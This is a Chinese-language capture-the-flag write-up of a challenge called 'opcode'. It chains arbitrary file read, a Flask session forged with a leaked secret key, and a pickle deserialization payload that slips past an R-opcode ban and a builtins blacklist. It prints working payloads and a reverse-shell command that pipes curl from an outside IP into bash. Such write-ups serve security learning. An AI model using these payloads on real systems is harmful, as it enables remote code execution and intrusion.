opcode
睡到下午快3点,起来洗漱点外卖,然后看了下比赛,除了JS题还发现这道opcode
pickle? opcode? 第一反应就是去年抗疫赛那道题目,那也是唯一一次接触opcode的pickle反序列化题目。
以下是参考文章:
https://zhuanlan.zhihu.com/p/89132768
https://www.sohu.com/a/458581292_120967809
https://www.anquanke.com/post/id/188981
https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
一上来就是个任意文件读取(这些题怎么都喜欢这套路)
先读/proc/self/environ 读到/var/www/html目录和python版本为3.8.0 ,再读app.py
app.py:
1 | from flask import Flask |
限制了module为builtins并且存在黑名单
也同样不让用R指令
构造opcode
模块限定和黑名单的问题可以参考Code-Breaking的Picklecode
ban掉了R指令,我们还能用i指令和o指令。
这里用到辅助工具 Pker 来构造opcode
文中给出了3种函数执行指令的用法
由于前半部分的builtins限制和黑名单和Code-Breaking里一样,所以就直接在这个的Pker代码基础上进行改造
1 | getattr=GLOBAL('builtins','getattr') |
可以很明显的看出这是R指令,xxx(sss)形式的函数调用,要把他改成i或者o指令形式
我这里是用的o指令
1 | dict_get=getattr(dict,'get') |
1 | builtins=dict_get(glo_dic,'builtins') |
1 | eval |
所以最终
1 | eval('print("123")') |
但是发现还有一个R指令
又重新构造了一遍,确定已经没有R指令形式的函数的调用了,为什么还会这样呢?
看这个opcode出现R的位置,是在builtins globals处
原来是 GLOBAL(‘builtins’,’globals’)() 这里带一个(),opcode给他计算成了R指令调用()
能不能用 OBJ(GLOBAL('builtins','globals'),'')
代替呢?
咦?报错,提示说不接受参数
那干脆把‘’也去掉
OBJ(GLOBAL('builtins','globals'))
所以最终构造的可执行的pker代码:
1 | OBJ(OBJ(GLOBAL('builtins','getattr'),OBJ(OBJ(GLOBAL('builtins','getattr'),GLOBAL('builtins','dict'),'get'),OBJ(GLOBAL('builtins','globals')),'builtins'),'eval'),'print("123")') |
1 | from flask import Flask |
Flask_session伪造
感觉好矛盾啊?username要为admin,但是data又是’hello’+username。
正当冥思苦想是不是有什么trick可以绕过这个判断和满足条件时,我看到Burp上的返回包的session时突然灵光一闪,这分明就是flask_session,再加上给出了secret_key(之前居然把它忽略了),不就是flask_session伪造吗?重新伪造一个session值,就能又满足username是admin,data是opcode了
晕了,自己构造的session放在admin路由上一直是500,卡了快一个小时
应该是我用的flask解密脚本不对
又找了个脚本:
1 | #!/usr/bin/env python3 |
用这个格式再去用secret_key加密
终于返回success了!
由于只有return 没有回显,所以考虑反弹shell
直接利用eval(__import__("os").popen("curl 120.26.172.130/rev|bash").read())
opcode:
1 | OBJ(OBJ(GLOBAL('builtins','getattr'),OBJ(OBJ(GLOBAL('builtins','getattr'),GLOBAL('builtins','dict'),'get'),OBJ(GLOBAL('builtins','globals')),'builtins'),'eval'),'__import__("os").popen("whoami").read()') |
本地测试一下
VPS可以收到请求
返回题目,直接替换session,重新发包
/app目录下找到flag